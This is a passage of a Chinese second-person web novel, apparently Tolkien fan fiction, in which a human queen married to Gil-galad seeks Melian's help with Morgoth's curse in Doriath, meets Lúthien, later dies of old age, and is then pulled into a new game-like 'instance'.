一支舞结束,原本还在笑着的你,又感觉到喉咙的痒意,你端起一杯葡萄酒,走到一旁,恰好这时吉尔-加拉德也在与父亲欧洛德瑞斯交谈,你用酒杯当做掩饰,咳出的鲜血流入酒杯内,原本纯净的葡萄酒瞬间变成暗红色,好在你身边没有其他精灵发现异常。 你的脸上浮现出几分不耐烦的神色,果然还是得要解决掉魔苟斯那家伙,不然他的诅咒可真影响你的生活质量。 第59章 第59章“你可以不要那么早,那…… 那杯混着鲜血的葡萄酒被你倒在草丛里,只见那暗红色的液体一点一点地渗入泥土,最后似乎消失得无影无踪,你将酒杯放在一旁的长桌上,你想你得找个时间去多瑞亚斯一趟了,不光是你这么想的,芬罗德也希望你能够早些去多瑞亚斯好让王后美丽安检查你的情况。 不过你还有些许的担忧,比如说要是他们发现是你当初杀死了埃欧尔呢?当然,这种忧虑只是一闪而过,因为假若他们早就发现了这个事实,应该来找你算账才对,而不是一直等到现在都没什么动静,而且就算他们真的问起来,他们又有什么证据能够证明是你杀死了埃欧尔呢? 想到最后你就把这份担忧暂时压了下去,在丰收宴会后芬罗德私下单独对你说加拉德瑞尔寄来的最新一封信里写着多瑞亚斯的辛葛王已经准许你进入多瑞亚斯,这是个好消息,但你们还有个小问题要解决,芬罗德说:“你想好怎么和他说了吗?” 说实话你还没想好,芬罗德见你没回答,他又问:“他既然是你的爱人,那么在我看来他有权知道这件事的真相,欺骗一位深爱着你的精灵是很残忍的事情。” 你还做过许多比这还要残忍的事情呢,你在心里 幽幽地回答道。 “我知道,您说的这些我都知道。”道理你都懂,但具体实践起来就没说得那么简单了。 在芬罗德的叮嘱之下,你找了个机会和吉尔-加拉德坦白,在晚上夜深人静的时候,当你的精灵爱人习惯性地靠在你的怀里时,你的手指穿过他的长发,你说:“我有一件事情要对你说。” 他原本是闭着眼睛的,每当你轻柔抚摸他的头发他都会闭上双眼,呼吸平缓,他“嗯?”了一声,你接着说:“过几天我要去多瑞亚斯见一见加拉德瑞尔夫人,如果可以我还想再见一见美丽安王后。” 听到这里吉尔-加拉德都觉得这只是一件小事,他很高兴看到你能够拜访他的亲族,他缓缓睁开眼睛,“加拉德瑞尔夫人肯定会喜欢你的。” 她喜不喜欢你这倒不重要,重要的是如何解除你身上的诅咒。 “除此之外,还希望她们能够帮助我解除诅咒。” 闻言,捕捉到关键词的吉尔-加拉德睁开眼,他撑起上半身,“解除诅咒……你何时被诅咒了?” 他的态度转变之快你都感到惊讶,你轻描淡写地说:“就在不久之前,应该是魔苟斯被重伤以后,在我们的婚礼之前。” “那你……”他原本想问你为什么不告诉他这件事的,但是他转念一想,你没有告诉他肯定有你的道理,比起质问你为何不告诉他,他更关心的是你现在如何,“你现在还好吗?哪里会不舒服吗?”说着,他就紧张兮兮地检查你的身体,你好笑地说:“没有,我现在很好。” “你是说真的吗?”吉尔-加拉德半信半疑地问。 没等他的话音消散,你就握着他的手腕,将他压制,低着头俯视他,“现在呢?你还觉得我很虚弱吗?” 他任由你握住他的手腕,温柔的目光描绘你的面容,“那我可以陪你一起去多瑞亚斯吗?” “当然可以啊,只要你不问东问西的话。”向吉尔-加拉德坦白这件事比你想的还要简单,你原以为他会紧张兮兮地问个不停呢,现在看来他成熟了许多,这让你产生几分欣慰。 和他坦白以后当天晚上你醒来了几次,每次你醒来后没多久,他就也随之醒来,然后眼睛一眨不眨地看向你,他长久地拥抱着你,力道不大,不会给你带来束缚感。 “伊玟。” 你听见他很郑重地念了一声你的名字。 “怎么了?” “你可以不要那么早,那么快地丢下我吗?” 你侧过头,屋内的光线昏暗,朦胧的阴影如同流水般凝聚在他的脸庞,他的双眼依旧明亮,不过是那种哀伤与乞求的明亮。 气氛安静得只剩下你浅浅的呼吸声,你伸出手摩挲他的眉骨,“我可没那么容易死去,而且我才管理多尔罗明那么短的时间,现在死去我也会很不甘心的。” “那就再晚一些,再慢一些——”他把你拥入怀中,明明是他主动拥抱的你,可无论怎么看都像是他在依靠着你,依偎着你。 * 你们没有在纳国斯隆德久留,因为吉尔-加拉德比身为被诅咒当事人的你还要着急,你们对外给出的理由是去多瑞亚斯探亲,只有极少数的精灵知道你们去往多瑞亚斯的真正目的,在这极少部分的精灵里芬罗德始终为你们保密,就连吉尔-加拉德的父亲欧洛德瑞斯也是很久以后才得知你们去多瑞亚斯的真实原因。 因为有辛葛王的允许,你们进入多瑞亚斯十分顺利,一般其他人或者是精灵以及黑暗生物都无法穿过王后设置的美丽安环带,你们穿过那条环带,驻守边境的精灵士兵当即迎了上来,他们认出你身边的吉尔-加拉德,对他俯身行礼,既然认出了吉尔-加拉德,再结合先前听闻的新婚消息,他们也自然而然地辨认出你的身份。 “您就是伊玟陛下了吧?”带头的精灵对你毕恭毕敬地行礼,然后带领你们去往多瑞亚斯的王城,多瑞亚斯的面积很大,比两个多尔罗明的面积都要大,而且这里物产丰饶,目光所及之处都散发着生机勃勃的气息。 从边境到王城,你们先是骑马经过一段路,再是走水路,船只在码头靠岸,除了你们乘坐的船只,还有别的船只载着精灵在岸边停下,你从船上站起来,扶着吉尔-加拉德伸出的手走上岸。 “这里只是多瑞亚斯的一个码头而已,这样码头还有很多,具体数量多少我也不太清楚。”那位精灵向你们欣然介绍,然后又带着你们穿过一条宽敞的大路,旁边还有骑马经过的其他精灵。 抵达多瑞亚斯的王城,你们来宫殿门口就有精灵侍从出来迎接你们,并且将你们带到加拉德瑞尔面前,这位美丽强大的精灵见到你们的第一句话就是祝贺你们新婚快乐,尽管这话她已经在信件里说过了。 “你们来得比我估算的时间还要早。”加拉德瑞尔为你们倒了两杯茶,在浓郁的茶香环绕下她开启正题,她询问你,“到目前为止这个诅咒对你都有什么影响吗?” 你端起茶杯,“其实也不算什么太大的影响,就是偶尔会吐血,然后睡眠不太好,除此之外都没什么别的影响。” “所以之前早上我在浴室嗅到的血腥味……”吉尔-加拉德忽然想到了什么,原来那个时候开始你就在咯血了吗?你就知道吉尔-加拉德会是这个反应,你说:“是的,我很抱歉那次我骗了你。” 加拉德瑞尔说:“那这么看来症状还不算太严重。” 你也轻轻地点了点头,毕竟还没有到折磨你的地步,顶多就是有些影响你的生活质量而已,加拉德瑞尔又瞥见芬罗德送给你的饰品,如果她没有猜错的话那都是具有祝福效果的饰品,有的甚至还是当初在维林诺的时候维拉赠给他的。 足以看出芬罗德对你的关心。 “美丽安王后还在陪同陛下开会,估计你们得要等一会才能见到她了。”加拉德瑞尔说,他们召开的会议就是关于彻底清剿魔苟斯的,前不久芬国昐刚刚派出一支队伍前往南部地区探查情况,想必不久之后就会派出大军彻底消灭魔苟斯的。 美丽安也希望辛葛王能够提供些许帮助,毕竟无论怎么说魔苟斯都是造成这一切悲剧的罪魁祸首,而且其他诺多精灵和人类在上一次的大战中也失去了一大批有生力量。 但最终的决定权还是在辛葛的手上。 你低头吹开茶杯上面腾升起来的一股的雾气,后来加拉德瑞尔又在你身上施加了几个具有祝福和净化效果的魔法,你可以感觉到自己的身心轻盈了不少,你不由地好奇问道:“只有精灵才可以学习魔法吗?” “我也不是很清楚,也许人类也可以,但在这之前好像还没有类似的先例。”加拉德瑞尔说得很委婉,但你还是听明白了,那就是人类确实很难学会魔法,好在你也只是随口一问而已,并不是真的要学习魔法。 后来你们又聊了些别的话题,你说到你们在来多瑞亚斯之前还在纳国斯隆德经历了一场丰收宴会,加拉德瑞尔就向你介绍这个丰收宴会的来源,那是在维林诺时期就有的节日,那个时候他们所在的家族会和泰勒瑞精灵一同举办丰收宴会,因为他们的母亲是来自泰勒瑞的天鹅公主,所以泰勒瑞精灵也是与他们关系亲近的亲族。 “那个时候你还没有来到这个世界上。”加拉德瑞尔对吉尔-加拉德说,的确,他是在贝烈瑞安德大陆出生的精灵。 这些故事吉尔-加拉德也未曾听说过,因此,他在加拉德瑞尔讲故事的时候听得很认真。 只是说到后面,说到维林诺即将发生变动的时候,加拉德瑞尔的表情发生变化,她抿抿唇,“接下来的故事就没有那么有趣了。” 吉尔-加拉德也知道后面发生了什么,便不再追问,恰好在这时美丽安王后也结束了会议,她听说你和吉尔-加拉德在前不久刚刚到达多瑞亚斯。 几乎是会议一结束她就来到你们所在的休息室,见到她的到来,你们都纷纷站起身向她行礼。 你听说美丽安原本是来自维林诺的迈雅,但是与辛葛王一见钟情,于是决定长久地留在这块大陆上,并且愿意为了爱人保持着不变的躯体。 美丽安的目光落在你身上,她说:“虽然这只是我们的第一次见面,但我已经听说过很多关于你的消息。” 不只是听说过,她也曾“看见过”,这里指的是她遇见的未来里就有你的身影,而且当初埃欧尔前来寻求魔药的时候,她就预见了他会死在你手里的画面,后来她听闻埃欧尔的死讯时也没有那么惊讶。 被美丽安长久地注视着的你莫名有一种自己被看穿的错觉,她的目光太过深邃,似乎能看到寻常人看不到的东西。 “我也听说过许多关于您的故事。”你回答道。 美丽安笑了一下,“这些故事真真假假,有些故事的真实性都无从考究,比起见面讨论这些故事,我想你真正想了解的是关于诅咒的事情吧?” 还在思考怎么把话题绕到正体上的你听到美丽安这么说,你欣然回答:“是的。” 美丽安用眼神示意在场的其他两个精灵暂时离开这里,吉尔-加拉德还有些依依不舍,还是加拉德瑞尔拍了拍他的肩膀,用眼神无声地说:她在这里很安全,你无需担心。 吉尔-加拉德跟着加拉德瑞尔离开休息室,休息室的大门缓缓关上,他又说:“美丽安王后应该能解除诅咒的吧?” “关于这件事情,我也无法给出确切的答案。”加拉德瑞尔如实回答,毕竟魔苟斯的实力堪比维拉,甚至于他的阴险狡诈使得维拉也中过他的圈套。 吉尔-加拉德叹了一口气,“我不希望她太早离开……”虽然他都已经说服自己接受你终有一天会离开的事实,但不代表他能够接受你很可能会死于非命的结局。 “她也应该是那么想的。” 当这两位精灵在门外低声交谈的时候,留在休息室内的你和美丽安,同样也在进行谈话,你说:“其实这个诅咒没有完全解除的方法对吗?” 毕竟如果是与誓约有关的诅咒,只要达成誓约就能解除,最典型的例子就是费诺里安与那三颗精灵宝钻的誓约。 但现在情况不同,魔苟斯对你的诅咒是没有任何誓约的约束,那是凝聚着他所有憎恨与愤怒的诅咒。 美丽安惊讶于你的坦然,她说:“……是的,但在其他人的祝福之下,诅咒不会对你产生太大的影响,只不过它会一直存在而已。” 第60章 第60章“我只是想告诉你他们很…… 在与美丽安的对话结束后,你推开休息室的大门,没成想吉尔-加拉德还守在门外,估计从始至终都没离开过,听到门打开的动静,他也顺势看过来,发现开门的是你,他对着你笑了一下,又问:“你们的谈话结束了吗?” “已经结束了。”从你身后走来的美丽安替你回答吉尔-加拉德的问题。 吉尔-加拉德对着美丽安颔首,从你身边经过时美丽安忽然想起了什么,她说:“我的女儿露西恩听说你要来多瑞亚斯十分期待你的到来。” 言下之意就是希望你能和露西恩见一面。 在传闻中你的美丽能与最美精灵露西恩媲美,可是在美丽安看来不光是这一点,你与露西恩的命运也十分相似,无论是你还是她都会在寻找真爱的路上遭受重重阻挠。 露西恩对你感到好奇实际上是情有可原的,因为你听说这位精灵公主在出生以后就未曾离开过双亲身边,她的父亲辛葛认为外面的世界对于他的女儿而言太过危险,而且他和妻子美丽安也无法承受失去露西恩的悲痛,所以她从未离开过多瑞亚斯,一直生活在王城。 而辛葛平日里也不愿让露西恩接触外人,更何况还是你这一位人类,所以你可以想象得到她对你有多好奇。 你听从美丽安的建议与露西恩见面,根据她的指引,你孤身一人来到宫殿内偌大的花园,原先你都没有找到任何踪影,直到你的耳边传来婉转动听的歌声,你一下子就能确认那是露西恩公主的声音,循着声音向前走去,你越是靠近,这歌声就越是清晰,最后你的脚步停在河边,隔着一条小河看向对面伴随着歌声翩翩起舞的露西恩。 因为不想打断这美好的画面,你长久地保持着同一个站立姿势,都没有再次移动过自己的脚步,直到那歌声逐渐变弱,然后停下。 露西恩始终背对着你,但环绕在她身边的鸟雀振翅飞翔,其中有一只鸟雀叽叽喳喳地飞向你,也由此将露西恩的眼神带向你。 她同样有着一头漆黑的长发,美丽动人的脸庞,还有蕴藏着智慧光辉的双眸,她仅仅只是看了你一眼就猜出你的身份,“您是……伊玟陛下?”她说话声音的动听程度不亚于唱歌。 你尊敬地向她行礼,“是的公主殿下。” 她提起裙摆向你走来,那宽大的裙摆带过草地,只见她穿过小桥径直来到你面前,“你是我见过的第一个人类。”因为太激动,她都忘了使用敬称,但你也不在意这一点。 “您也是我见过最美丽的精灵。” 露西恩又说起她对你的了解,那些了解大部分都来自于各种民间故事,这个世界娱乐活动没那么发达,大家解闷的方法也都大差不差,无非就是听故事和编故事,又或者是聚在一块载歌载舞的。 而露西恩就是通过这些民间故事逐渐形成对你的初步印象。 但任何故事都比不上直接见你一面来得实在,她说:“你也是我见过的第一个与精灵成婚的人类,所以……真爱的感觉是怎样的呢?” 好吧,一直被双亲保护着的露西恩确实会对真爱故事感兴趣,你耐着性子回答:“那就是,当你遇到它的时候你的心里就会有一道声音在说:‘一定要抓住它’,紧接着你就会产生‘绝对不能放手’的坚定念头,至于真正得到以后,你又会发现自己之前所做的一切努力都是值得的。” 当然,你这里说的真爱是权力,至于真爱的感觉,那在你这里就是获得权力的感觉,简单来说,就是身心舒畅。 露西恩认真地倾听,她说:“那你果然是一位幸运的人。” 幸运吗?你好像也曾经听维拉乌欧牟说过,你是何等地幸运能够获得第二次生命,而你那个时候的回答又是怎样的呢?哦对,你告诉他,强行给予的礼物也能被当成是幸运吗? “或许是吧……”你含糊不清地回答。 你原本只是想要和露西恩打个招呼就离开的,但是很显而易见地,对方不是那么想的,她的话题一个接着一个地抛出来,你现在毕竟是在对方的地盘上,就只能她抛出一个话题你就接下一个话题,尽可能满足这位精灵公主的好奇心。 聊到后面眼看着天色渐晚,你有意无意地提及夜幕降临,露西恩这才意识到自己似乎占据了你很多时间,她从善如流地向你道歉,“抱歉,我是否占用了你太多时间呢?” 那倒也没有,因为你接下来本就没什么事情,而且你初次来到多瑞亚斯,人生地不熟的,能有一位精灵公主陪伴着你也不算太坏。 “没有,但我们不如一边聊天一边回宫殿吧?” 露西恩欣然同意你提出的建议,于是你们沿着小路走回宫殿,途中她听闻你还亲自上战场杀敌不由地浮现 出惊讶的神色,“你还杀死了炎魔吗?” “嗯,不过是在其他精灵的帮助下CIA成功杀死的,如果只凭我自己的力量应该很难将炎魔杀死。”你这话说得也没错,说到底就算你再怎么努力,你的种族也不会改变,你终究是个人类,想要凭一己之力杀死炎魔没那么容易。 但露西恩还是很惊讶,“难怪你能成为多尔罗明的君主。” 你能成为多尔罗明的王可不是仅凭一场战争就能敲定的,你为此可是花费了好一番功夫,只不过这种努力你也没必要全都告诉露西恩。 话语间你们来到宫殿的侧门,在这里你们遇到了另外一位精灵,也是写作诗歌水平与玛格洛尔不相上下的戴隆,你只看一眼就知道这位名叫戴隆的精灵倾心于露西恩公主,只可惜对方似乎没能明白戴隆的心意,又或者是她并不想要回应这份感情。 戴隆对着你们俯身行礼,“我正打算去寻找公主您的,当然,还有伊玟陛下您。” 他说话说得滴水不漏,看得出来,他是一位心思缜密的精灵。 露西恩转而又向你介绍起他,“这位是戴隆,多瑞亚斯最杰出的吟游诗人。” “公主殿下,您过奖了。”戴隆话是这么说的,但他脸上的喜悦表情可不是装出来的,而是发自内心的。 露西恩牵起你的手,你们从戴隆身边走过,现在这个时间点大约到了晚餐时分,难怪戴隆会来寻找你们,露西恩对接下来的晚宴兴致缺缺,她说:“你会在多瑞亚斯停留几天呢?”作为她接触到的第一个人类,她希望你能晚些走,最好是能在多瑞亚斯住个一年半载的,这时间对于精灵来说很短暂,但是在人类看来,尤其是对于每天都要处理公务的你来说,这已经是非常漫长的一段时间了。 “这个……我也不是很清楚。”按照你原先的计划那自然是得到接触诅咒的方法以后就尽快离开多瑞亚斯,因为在外面待得时间越长,就意味着回到多尔罗明要批阅的公文越多,如果真的如同露西恩想的那样住个一年半载,那等你回去的时候估计公务都要堆积成山了。 就算有吉尔-加拉德帮助你批阅公文,那也只是起到一定的帮助而已。 “好吧,不过我希望你在多瑞亚斯的每一天都能过得开心。”露西恩的笑容真诚。 你应了一声,而后与她并肩同行去往餐厅,你不光在晚宴上见到了露西恩的父亲多瑞亚斯的国王,还见到了加拉德瑞尔的丈夫凯勒博恩,你一开始都还没发现加拉德瑞尔身边还坐着另外一位精灵,是你身边的吉尔-加拉德提醒你以后你才留意到还有一道身影,吉尔-加拉德在你耳边说:“这位就是凯勒博恩大人,他与加拉德瑞尔是伴侣。” 顺着吉尔-加拉德目光的方向看去,对方有着一头银色长发,也从侧面可以看出他与辛葛王的血缘关系。 收回目光,其实你还是不太理解吉尔-加拉德怎么特意向你介绍这位精灵,是有什么特别的意思吗?你趁着喝果汁的时候低声询问,“你想告诉我什么呢?” 没成想他只是说:“我只是想告诉你他们很恩爱,他们几乎形影不离。” 你咽下果汁,大概明白他的意思了,无非就是觉得你刚才和露西恩单独相处了太长时间冷落了他,你带着笑意地说:“那他们确实很恩爱。” 吉尔-加拉德还以为你没明白他的意思,又不动声色地看了你好几眼,嘴唇张合,欲言又止,最后你都看不下去了,你说:“我刚才确实和露西恩公主聊了很久,没注意到你还在等待我。” 原来你明白他的意思啊,吉尔-加拉德抿了一口果酒,“我知道你和露西恩公主聊天的时间不是你所能控制的。” 他尽可能装出一副不在意的神态,因为不想让自己显得那么斤斤计较,但在听说你晚上还和露西恩公主约好了月下漫步的时候他的表情就控制不住了。 那位公主怎么这么霸道?你才一来多瑞亚斯就想着法地霸占你的时间? “月下漫步……?”他差点被果酒呛到,咳嗽了两声,惹来餐桌旁其他精灵的注目,凯勒博恩问道:“吉尔-加拉德大人您还好吗?” 吉尔-加拉德连连摆手,表示自己没事。 你伸出手拍了拍他的后背给他顺气,“是啊,因为我是公主殿下接触到的第一个人类宾客,她有些好奇那也是很正常的吧?” 他又咳嗽几声,勉强说道:“正常,当然正常……” “那你今天晚上会早点回来吗?”他最后又问了一句,就好像是担心伴侣夜不归宿的妻子,你点了点头,“我会尽早回来的。” 于是等到晚餐结束以后,吉尔-加拉德站在门口目送你和露西恩去往远方的平原漫步,之后从餐厅里出来的凯勒博恩不解地问道:“您的伴侣呢?” 吉尔-加拉德看着辛葛和美丽安,还有凯勒博恩和加拉德瑞尔成双成对地离开,他幽幽地说:“她去陪露西恩公主殿下散步了。” 凯勒博恩恍然大悟,又顿觉自己似乎提起了什么不合适的话题,他正想说两句安慰这位年轻的精灵,但加拉德瑞尔却说:“但我刚才听见她答应了你会尽早回来的,所以我想你也应该不用担心吧?” “但愿她能说到做到吧。”吉尔-加拉德叹了一口气。 反观另外一边的你和露西恩,你们漫步在月光下,你们互相交换自己的故事,她询问你是如何从魔苟斯的手下逃跑的,你说:“凭借我的狡猾,还有虚情假意。” 这些都是世俗意义上带着些许贬义的品质,但恰恰是这些品质让你得以从魔苟斯的地盘里顺利脱身。 露西恩说:“我不觉得这是狡猾和虚情假意,相反地,这是勇敢与智慧,而且如果不是你,其他精灵也很难团结在一块。” 她说的这番话让你想到了莉迪亚,那个曾经为你在地图上标注出战况的战士,她也来参加了你的继任仪式,在仪式结束后,她对你说:“您的智慧与勇敢让您无比耀眼。” “好了露西恩公主,您不要再继续夸奖我了,您今天夸奖的话已经说得足够多的了。”你笑着打断她接下来的赞美之词,“您也一样,您的善良与温柔也是无比珍贵的品质。” “唉。”露西恩叹息一声,“可我永远无法像你这样勇敢。” 那可就不一定了,后来的事实证明她在选择贝伦作为自己的恋人时迸发出前所未有的勇气,当然这些都是后话了,不过也足以证明她的内心确实也藏着一份无穷大的勇气。 “不要说永远这种话,您的生命才刚刚开始,为何要那么早下定论呢?” 几番交谈下来,露西恩总结道:“难怪吉尔-加拉德会对你一见钟情,他可真好运。”你依稀记得她今天傍晚的时候还说你真好运吧? 你笑着感叹这位精灵公主的话锋变得可真快,你们绕着那片平原走了大半圈,最后又慢悠悠地走回宫殿,露西恩亲自送你回到房间门口,等她走后吉尔-加拉德才从门后面现身,低声说:“你回来得确实挺早。” 你转过身,笑着托起爱人的脸,“是的,因为我对露西恩公主说我的爱人希望与我形影不离,她也表示理解,就早早地回来了。” “什么?你真的和她这么说吗?”他的音量都跟着变大了一点。 但是在目光触及你的笑眼时,他就发现自己又上了你的当,他又问:“你没那么和她说对吧?” “嗯……这就得要看你怎么想的了。” 吉尔-加拉德把你带到房间里,嘴里还在碎碎念,“我怎么想的……我在想你肯定又想看我的笑话。” 你简单洗漱过后换上睡衣靠在床头,现在的吉尔-加拉德已经不在意你到底对公主露西恩说了什么,他在意的是今天你与王后美丽安的对话,“今天美丽安王后都对你说了什么呢?” “她说她的女儿一直以来都待在多瑞亚斯都要被闷坏了,希望我能好好陪一陪她。”说这话的时候你背对着吉尔-加拉德坐在床边,闻言,他从背后拥抱你,因为他的靠近,使得他说话的声音也变得格外清晰,他说:“你明明知道我不是这个意思的。” 他的长发有几缕耷拉在你的肩头,你说:“她的意思是,这个诅咒不会致命,只不过会一直伴随着我而已。” “那你还会生病吗?”说话间他握住你的手腕,过了几秒你才发觉他原来是在感知你的脉搏。 “谁也不能确定,唯一能够确定的是,我不会轻易输给这个诅咒的。” 在那天之后,无论是你 还是吉尔-加拉德都不再谈论诅咒的事情,你们在多瑞亚斯停留了许久一直到多尔罗明的新任宰相安娜给你寄了信过来,虽然没有直接催促你回多尔罗明,但看她的信件内容就知道你也该回去了。 返程当天露西恩也送了你们一程,她骑在马背上一直送你们到多瑞亚斯边境,然后停在边境内目送你们离开,回到多尔罗明的第一件事就是处理公务,而且还是数不清的公务,就连吉尔-加拉德也被这堆积起来的公务量惊到了,他在旁边给你打下手,你们刚刚回到多尔罗明的那几天除了处理公务就是处理公务,每天早上一睁眼就要伸手触摸放在床头柜上的文件。 就连吉尔-加拉德也不催着你吃早餐了,因为他也在陪着你帮忙看文件,你们俩就这样靠在床头安安静静地看批阅文件,一直到谁的肚子咕噜咕噜叫了,你们又默契地笑着下床去觅食。 这样的生活持续了大半个月,这简直就是漫长的噩梦,一个月过后你们的生活节奏终于回到以前的步调,吉尔-加拉德才算松了一口气。 时光就在日复一日,年复一年的光影变化中度过,你也从青年进入中年,在你的领导下多尔罗明这个国家也如同你的年岁一样正值盛年,进入前所未有的繁荣盛世,人们自发在你继任那一天作为庆祝日,歌颂你的丰功伟绩和高尚品德。 你还经常收到精灵和人类送来的信件,你在凯勒巩的信件里听说他的弟弟库茹芬有了一个儿子,又在伊缀尔的信件里得知阿瑞蒂尔也终于找到了属于自己的真爱。 后来阿瑞蒂尔还邀请了你们参加她的婚礼,你和吉尔-加拉德为她和她的丈夫送上真诚的祝福,在婚礼现场你隔着人群望见不远处的格洛芬德尔,后者只是安静地望向你,在与你四目相对的时候又垂眸,向你微微点头,与你的关系退回到了点头之交。 在魔苟斯被彻底消灭后,这块大陆上时间也像是被按下快进键,从你在自己的头发里找到第一根白发时,你发觉衰老也在悄然降临在你身上,但你对于衰老的到来很平静,因为在衰老之后就是死亡,而死亡在你看来是一种永恒的平静,这没什么不好的。 所以你只是捻着这根白发,然后又松开手指让它回到其他黑色发丝中。 后来白发只增不减,你也不需要再仔细地把白发挑出来,你任由它们恣意生长,与衰老相伴的是衰弱,这一点在你的年龄度过六十岁的时候就能够清晰地感知到,生命力逐渐从你身上流失的感觉。 不过比起自己的衰老,你更在乎的时候自己死后这份权力又会交给谁,于是在六十岁生辰后你就多次召开秘密会议,长久地待在密室内,你和吉尔-加拉德没有后代,因为你本身就对孕育孩子不感兴趣,所以在你的弟弟格林死后,王室的血脉几乎要断绝,不过你本来也不看重血缘关系。 因此你做出一个在他人看来前所未有的决定,那就是王位由继承制改为选举制,这也使得所谓的王室将不复存在,以后的国家首领也不再以国王来称呼,而是称之为统领,亦或是统帅。 为了保险起见,你要求议会议员在你面前对着维拉,对着伊露维塔起誓,不能违背这条法令。 这已经是你能够留给这个国家的最后一份礼物了。 在那场会议后你又敲定了几个下一任统帅的人选,提前进行几次选票统计,在其他子民还没意识到你这么做的意图时,吉尔-加拉德已经猜到了你这是为自己的死亡做准备,他说:“哪怕在生命的最后时刻你也得要一心扑在工作上吗?” 你把统帅候选人的名单递给吉尔-加拉德,“替我完成最后的心愿吧,只有交给你我才能放心。” 吉尔-加拉德深吸一口气,眼睛眨个不停,他从你手中接过那份名单,而后又听见你说:“去花园坐坐吧,今天的天气很不错。” 他笑着说:“对,就像我们初次相遇的天气。”笑着笑着,眼泪从他的脸颊滑落。 60-70 第61章 第61章【是否开启新副本?】…… 说实话,你觉得伴随着岁月流逝,吉尔-加拉德也预感到了你们的分别即将到来,他努力地藏起这份内心的不安与焦虑,但你还是会在某个瞬间捕捉到他内心的恐惧。 “好了,今天还不是我的葬礼呢,你还是把眼泪留在葬礼的时候吧。”你半开玩笑地说,然后伸出手擦去他脸颊上的眼泪,你那变得苍老的手指与他仍旧年轻的皮肤形成鲜明对比,衰老对于你来说是一件很新奇的事情,因为上一辈子在另外一个世界里,你甚至还没有等到衰老等那一天就直接死去了。 吉尔-加拉德很难想象你葬礼的那一天会是怎样的,又或者说他尽量避免自己去设想那一天。 仿佛只要不去想,这个悲伤的日子就不会到来。 “我……”吉尔-加拉德的声音里带着轻微的颤抖,你牵起他的手,带着他向花园走去,你一边走一边说:“不要辜负今天的好天气。” 你原以为他终于不再哭泣,但是等你走到花园里,回过头却瞥见他泛红的眼眶,你叹了一口气,“死亡并不是一件可怕的事情。” 的确,对于你来说,你确实认为死亡没有那么可怕,而且更像是一场长久的,没有尽头的睡眠。 可是对于深爱你的精灵来说,这很可能就是永别,毕竟就连维拉也不知道人类死后灵魂会去往哪里,或许会离开这个世界永不回来。 “我知道……”他缓慢地眨了一下眼睛,他终于不再落泪,而是选择珍惜与你相处的最后时光。 似乎是有些珍惜过头了,在最后的时光中,他尽可能地陪伴在你身边,就连大大小小的各种会议都会站在你身旁,对此你也没有说什么,而是任由他那么做。 到后来他也能坦然接受这一切,就算是听你说关于自己的葬礼的计划,他也能给出合理的建议。 你的提议是直接将尸体火化,如果土葬的话效率太慢了,而且还可能有传播疾病的风险,以及在你登上王位以后就有颁布相关的法律,建议子民选择火葬,你身为多尔罗明的君主,自然也是要遵从法律的,而且这也相当于是变相的以身作则。 进入老年以后你的各项身体机能都在下降,以前你可是能熬夜批阅很多公文的人,现在你多看一会儿文书只会觉得头疼,于是你劳烦吉尔-加拉德帮忙写下关于葬礼的计划。 听到你说尸体要实行火葬,吉尔-加拉德握着笔的手停顿了一下,尽管他知道你一直在推行火葬,只是……只是在精灵看来死去的身体也不应该湮灭于火海中,他犹豫地问:“一定要那么做吗?” “嗯,这样一来,我想多尔罗明大部分人都会选择火葬从而能够减少传染病的产生。” 而且在你的印象里火葬是常态,你看见吉尔-加拉德手里的笔停止不动,就问:“你怎么不继续写下去了?” 被你这么一说,他才继续往下写。 ——国王的遗体选择火葬。 写到这一条的时候,他的心情无比沉重。 你却又转回头,在脑海里思索,还有没有其他要叮嘱的事情,想了半天,感觉自己要交代的,全都已经交代清楚了,至于其他的,你都已经写在自己的遗嘱里,到时候由你的遗嘱代理人也就是吉尔-加拉德来负责执行。 这 样看来,伴侣是一位精灵其实好处很多,而且还能保证你死后他能帮助你的遗嘱得到贯彻。 只不过这对于精灵伴侣来说,无疑是一件残忍至极的事情。 葬礼的方案初步敲定,吉尔-加拉德还想再问些什么,但当他抬起头的时候,只看见你靠在桌边沉沉睡去。 他放下纸和笔,缓慢而无声地走到你身边,他把桌上的灯熄灭,房间内只剩下你那一侧的床头灯,他站在你身边弯腰,手指磨挲你的侧脸,然后把你抱回床上,替你盖上被子,靠在床边静静地注视着你熟睡的侧影。 尽管岁月在你身上留下了痕迹,可是他对你的爱却不会随着时间而改变,只会变得越发深沉浓重。 他自以为自己已经做好与你分别的准备了,但当那一天真正来临的时候,当他握着你的手腕,却感受不到脉搏跳动的时候,他还是不免楞了一下,大脑一片空白。 你的指尖已经开始变冷,他下意识的捂住你的双手,试图用自己的体温温暖你的双手,但这都无济于事,先是指尖,再是手掌,最后是全身都变得冰冷。 好冷……真的好冷…… 吉尔-加拉德知道离别的日子就在今天了,唯一让他感到庆幸的是,你是在睡梦中离去的,并没有经历太多痛苦,如果要用人类的话语来形容的话,那就是安然离世。 他按照你原先定下的葬礼计划,先通知其他官员你去世的消息,然后又嘱咐其他人负责葬礼场地的布置,最后就是为你整理妆容。 最后一步是由他来负责的,这也是他在你生前与你讨论决定的,他还清楚地记得,你笑着说:“你确定要让你来帮我整理遗容吗?我正担心你整理到一半就泣不成声了,这可该怎么办呀?要是卡在这个环节的话,整个葬礼的流程都会被耽误的。” 他很了解你,也知道你这是在开玩笑,但事实真的被你说中了,他问你梳理头发,梳到一半并泪流满面,好在房间里除了他再无其他人,因此,他也无需克制自己的眼泪。 将你的头发都梳理一遍,他又用沾了水的手帕擦拭你的脸庞。 最后又为你换上礼服,做完这一件,他靠在你的身边,十分安静,这样的气氛持续了,不知多久,直到宰相敲响房门,催促他葬礼即将开始,他这才回过神来,额头抵着你的额头,轻轻地说:“如果有来生,你还愿意和我见面吗?” 这个问题他也曾经问过你,你没有给出确切的回答,只是浅笑着看他,反问:“我这样的人也会有来生吗?” 吉尔-加拉德的问题最终也没有等来回答,他起身走到门口打开门,宰相对着他俯身行礼,即便不抬头仔细看她也能猜到这位精灵现在的脸色该有多苍白,神色又该有多么哀伤痛苦。 你的葬礼按照你的计划顺利进行,只不过你无法亲眼见证这一画面,因为你在死亡之后,灵魂脱离身体,就在你以为自己即将迎来长久的安宁时,你的眼前又出现了熟悉的系统提示。 [正在加载新副本……] 怎么还有新副本呢?你之前看系统面板好像没有其他的副本吧? 你在当前的页面上四处寻找退出键,但怎么也找不到,这就意味着你还得要再重来一次吗? 思考片刻,眼前的系统提示消失了,取而代之的是一片刺眼的白光,你出于本能闭上眼睛,等你再次睁开眼睛的时候你又是被好几个成年女性包围着。 